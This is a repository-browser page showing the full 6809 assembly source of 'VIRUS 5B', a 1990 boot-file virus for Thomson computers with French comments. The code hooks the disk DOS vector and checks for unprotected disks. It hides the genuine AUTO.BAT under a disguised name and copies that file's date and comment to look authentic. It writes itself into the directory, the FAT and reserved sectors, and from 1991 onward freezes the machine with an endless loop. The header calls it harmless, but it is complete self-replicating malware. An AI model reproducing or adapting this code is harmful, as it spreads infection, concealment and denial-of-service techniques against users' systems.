source: thomson/code/3rdparty/sources6-divers/VIRUS5B.ASM@ ceffc47

main
Last change on this file since ceffc47 was ceffc47, checked in by Adrien Destugues <pulkomandy@…>, 10 years ago

Add that collection of 3rdparty source I had lying on my disk for some time...

git-svn-id: svn://localhost/thomson@51 85ae3b6b-dc8f-4344-a89d-598714f2e4e5

  • Property mode set to 100644
File size: 7.5 KB
Line 
1************ par Michel SAINT-BRIANT
2* *
3* VIRUS 5B * A.S.C.I. 1990 Copyright
4* *
5************ (ce virus est inoffensif)
6
7LOCAL EQU $8880
8DEP EQU $A000-LOCAL-2
9TAMPON EQU $7065
10
11 ORG $A100
12
13* On prépare la sortie
14
15 PSHS U,X,Y,DP,A,B,CC
16
17* le virus doit se montrer à partir de
18* 1991 (si la date a été entrée !)
19
20 LDA $607E Registre-année
21 CMPA #91 si contenu < 91
22 BLO INSTAL VIRUS5B s'installe
23
24* en 1991 et années suivantes,le virus
25* se manifeste par un affichage et un
26* plantage irréversible
27
28MESSAG LDX #TEXTE affiche le
29 LDB #$C message après
30PRINT JSR $E803 effacement
31 LDB ,X+
32 COMB
33 BNE PRINT
34 STX $60FE pour RESET à froid
35PLANTE BRA PLANTE boucle sans fin
36
37* installer le virus pour contamination
38
39INSTAL LDU #$A001
40 LDX #LOCAL
41 LDA #$FF
42 STA ,X+
43 LDD #$470A
44 STD ,X++
45COPIE LDA ,U+
46 STA ,X+
47 CMPX #$A3FF-DEP
48 BNE COPIE
49 LDX #CONTAG-DEP
50 LDA #$7E
51 STX $6806
52 STA $6805
53
54* on sort discrètement pour le vrai
55* AUTO.BAT
56
57FIN PULS CC,A,B,DP,X,Y,U,PC
58
59* Partie 'CONTAGIEUSE'
60
61CONTAG PSHS U,X,Y,DP,B,A,CC
62
63 CMPA #$80 en entrée A est le
64 BLO QUITTE 'DEVICE in use':si
65 CMPA #$84 ce n'est pas un
66 BHI QUITTE lecteur, on sort.
67
68 LDX #LOCAL Vérification de l'
69 LEAY ,X intégrité de VIRUS
70CHECKS LDB ,X+ 5B avant tentative
71 LEAY B,Y de contamination.
72 CMPX #$A3F4-DEP On procède par
73 BNE CHECKS un checksum sur 16
74 LDD ,X bits qui détecte
75 LEAX D,Y toute modification
76 BEQ SUITE (si modif. sortie)
77 LDA #$39 RTS mis en $6805
78 STA $6805 désactive VIRUS5B
79 BRA QUITTE
80
81SUITE LDU $61C7 U = pointeur BASIC
82 LDA ,U+ si nul
83 BEQ DEVICE ou > DEVICE
84 CMPA #$3A si ':'
85 BEQ DEVICE
86 CMPA #$22 si pas '"' alors
87 BNE QUITTE on sort
88 LDD ,U si '"' alors le
89 CMPB #$3A 3ème est-il ':'?
90 BNE DEVICE si pas ':'>DEVICE
91 CMPA #$30 si":"a-t-on'"0:'?
92 BEQ OK si oui c'est OK
93
94QUITTE PULS CC,A,B,DP,X,Y,U,PC
95
96DEVICE LDA $6768 le lecteur par dé-
97 CMPA #$80 faut est-il "0:" ?
98 BNE QUITTE si non on sort
99
100* OK c'est à dire qu'on a une fonction
101* ayant accès au lecteur 0: (DIR,LOAD(m)
102* SAVE(m),OPEN,MERGE,COPY...)
103* Voyons maintenant si la disquette est
104* protégée en écriture (oui = fichu !)
105
106OK JSR $E09D initialise DOS
107 CLR <$49 lecteur 0:
108 LDA #20 on se cale sur
109 STA <$4B la piste 20
110 JSR $E452 accès disquette
111 LDA $E7D1 on lit $E7D1
112 LDB #$40 et on éteint la
113 STB $E7D2 diode-disquette
114 ANDA #4 on teste le bit 2
115 BNE QUITTE si 1 protégée
116
117* la disquette n'est pas protégée.
118* Examinons sa FAT
119
120 LDA #2
121 STA <$48 lecture du
122 STA <$4C secteur 2
123 LDX #TAMPON dans la zone
124 STX <$4F $624F/$634E
125 JSR $E004 appel DOS
126
127* les secteurs 9 à 12 piste 20 sont-ils
128* libres ? si c'est non, VIRUS 5B est
129* déjà installé donc on sort ou la place
130* est prise par autre chose et on sort.
131
132 LDA TAMPON+42 teste bloc 41
133 CMPA #$FE est-il protégé ?
134 BNE QUITTE si non on quitte.
135
136* y a-t-il plus de 40 fichiers dans la
137* FAT (chaque fin de fichier est codée
138* par $C1 à $C8 donc on compte les $C.)
139
140 LDX #TAMPON+1 début des blocs
141 CLRB compteur à 0
142BLOC LDA ,X+
143 ANDA #$F0
144 CMPA #$C0
145 BNE SUIV
146 INCB
147SUIV CMPX #TAMPON+161 fin 160 blocs
148 BNE BLOC
149 CMPB #40 40 --> 5 secteurs
150 BHI QUITTE donc 1 de sécurité
151
152* tout va bien,il ne reste plus qu'à
153* chercher s'il existe un AUTO.BAT :
154* si non on sort
155
156 LDA #5 on analyse les
157 STA LOCAL-1 entrées dans le
158SECTOR INC <$4C répertoire avec
159 JSR $E004 les secteurs 3/7
160 LDU <$4F
161 LDB #8 8 entrées par
162ENTREE LDY #AB-DEP secteurs
163 TFR U,X
164TESTAB LDA ,X+
165 CMPA ,Y+
166 BEQ TESTAB
167 CMPY #AB+12-DEP
168 BEQ AUTO
169AUTRE LEAU 32,U
170 DECB
171 BNE ENTREE
172 DEC LOCAL-1
173 BNE SECTOR
174PASBAS LBRA QUITTE
175
176* AUTO.BAT trouvé, est-ce bien du basic?
177
178AUTO TSTA
179 BNE PASBAS
180 LDA ,X
181 BNE PASBAS
182
183* on a un AUTO.BAT basic
184
185 LDX #$1B58 on débaptise l'
186 STX ,U++ AUTO.BAT (masque)
187 LDD #$2009 on remplit les 9
188SPACE STA ,U+ autres caractères
189 DECB d'espaces...
190 BNE SPACE
191 LDX #LOCAL-12
192 LEAU 5,U
193 TFR U,Y On sauve le com-
194CODAT1 LDA ,Y+ mentaire et la
195 STA ,X+ date de l'ancien
196 CMPX #LOCAL-1 AUTO.BAT pour
197 BNE CODAT1 recopie après.
198 LDX #$0D1B
199 STX ,U++
200 LDX #$5F18 puis on modifie
201 STX ,U++ pour dissimuler.
202 LDX #$0808
203 STX ,U++
204 CLR ,U
205
206* existe-t-il une entrée libre dans le
207* même secteur ?
208
209 LDB #8
210 LDU <$4F
211LIBR0 LDA ,U
212 BEQ INOCUL
213 CMPA #$FF
214 BEQ INOCUL
215 LEAU 32,U
216 DECB
217 BNE LIBR0
218
219* pas de place sur le même secteur alors
220* on l'écrit ...
221
222 LDA #8 écriture du
223 STA <$48 secteur
224 JSR $E004 modifié
225 LDA #2 lecture du suivant
226
227* cherchons place dans un autre secteur
228
229 LDA #2 pour lecture
230 STA <$48
231 LDA <$4C on sauvegarde le
232 STA LOCAL-1 secteur initial
233PLACE INC <$4C
234 LDA <$4C
235 CMPA LOCAL-1
236 LBEQ QUITTE si on fait le tour
237 CMPA #9 sans trouver > FIN
238 BNE CHERCH
239 LDA #2 si la recherche n'
240 STA <$4C a pas été bonne,on
241 BRA PLACE reprend au début.
242CHERCH JSR $E004
243 LDB #8
244 LDU <$4F
245LIBR1 LDA ,U
246 BEQ INOCUL
247 CMPA #$FF
248 BEQ INOCUL
249 LEAU 32,U
250 DECB
251 BNE LIBR1
252 BRA PLACE
253
254* maintenant on implante VIRUS 5B
255
256* 1/ sur le catalogue
257
258INOCUL LDX #AB-DEP
259 LDB #11
260NOM LDA ,X+
261 STA ,U+
262 DECB
263 BNE NOM
264 CLR ,U+
265 CLR ,U+
266 LDD #$29FE
267 STA ,U+
268 CLR ,U+
269 STB ,U+
270 LDX #LOCAL-12 On recopie le
271CODAT2 LDA ,X+ commentaire et la
272 STA ,U+ date de l'ancien
273 CMPX #LOCAL-1 AUTO.BAT pour
274 BNE CODAT2 faire plus vrai !
275 LDB #5 on complète
276CLEAR CLR ,U+ avec des zéros
277 DECB
278 BNE CLEAR
279 LDA #8 pour écriture
280 STA <$48
281 JSR $E004
282
283* 2/ sur la FAT
284
285 LDA #2
286 STA <$48
287 STA <$4C
288 JSR $E004
289 LDA #$C4
290 STA TAMPON+42
291 LDA #8
292 STA <$48
293 JSR $E004
294
295* 3/ sur les secteurs 9 à 12
296
297 LDD #$0408 4 secteurs
298 STB <$4C depuis le 9
299 LDU #$8781
300 STU <$4F
301
302COPPRO INC <$4C
303 INC <$4F
304 DEC <$50
305 JSR $E004
306 DECA
307 BNE COPPRO
308
309* C'est fini et on sort
310
311 PULS CC,B,A,DP,U,X,Y,PC
312
313* AUTO.BAT
314
315AB FCC "AUTO BAT"
316
317* MESSAGE
318
319TEXTE FCB 255
320
321
322 END
Note: See TracBrowser for help on using the repository browser.